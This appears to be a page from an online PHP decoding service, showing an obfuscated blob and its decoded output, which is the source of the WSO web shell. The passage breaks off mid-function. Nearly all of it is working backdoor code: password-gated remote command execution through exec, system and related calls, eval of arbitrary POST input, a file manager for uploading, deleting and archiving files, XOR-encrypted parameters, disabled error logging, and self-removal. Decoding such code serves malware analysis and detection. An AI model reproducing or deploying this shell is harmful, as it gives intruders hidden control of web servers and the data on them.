Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$imgData = 'eJzlff1b27iy8M/0rxDebO2UEJJAu2xCAl1Kt73br1PoOWcvcPIYxyEuie21HT6W8r/fmdGHJccJgf..

Decoded Output download

}; 
$auth_pass = "9c5378e9cd25529b174b1fd9303f87fd";
$color = "#ddff55";
$default_use_ajax = false;
$default_charset = 'utf-8';
$default_action = 'Console';
$default_key = md5($_SERVER['HTTP_USER_AGENT']);

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

if(get_magic_quotes_gpc()) {
	function wsoStripslashes($array) {
		return is_array($array) ? array_map('wsoStripslashes', $array) : stripslashes($array);
	}
	$_POST = wsoStripslashes($_POST);
    $_COOKIE = wsoStripslashes($_COOKIE);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pwd']) && (md5($_POST['pwd']) == $auth_pass))
        wsoSetCookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	wsoSetCookie(md5($_SERVER['HTTP_HOST'])."key", $default_key);
}

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
}

if(empty($_POST['charset']))
	$_POST['charset'] = $default_charset;

if (!isset($_POST['ne'])) {
    if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

/*
 * Functions
 */
function wsoLogin() {
	die();
}

function wsoSetCookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

function wsoDecrypt($str, $pwd) {
    $pwd = base64_encode($pwd);
    $str = base64_decode($str);
    $enc_chr = "";
    $enc_str = "";
    $i = 0;
    while($i < strlen($str)) {
        for($j = 0; $j < strlen($pwd); $j++){
            $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
            $enc_str.= $enc_chr;
            $i++;
            if($i>=strlen($str))
                break;
        }
    }
    return base64_decode($enc_str);
}

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Console'=>'Console','FilesMan'=>'FilesMan','Php'=>'Php');;
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

/*
 * Actions
 */

function actionRC() {
	if(!empty($_POST['p1'])) {
		eval($_POST['p1']);
	}
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        wsoSetCookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        wsoSetCookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		wsoSetCookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		wsoSetCookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					wsoSetCookie('act', $_POST['p1']);
					wsoSetCookie('f', serialize(@$_POST['f']));
					wsoSetCookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
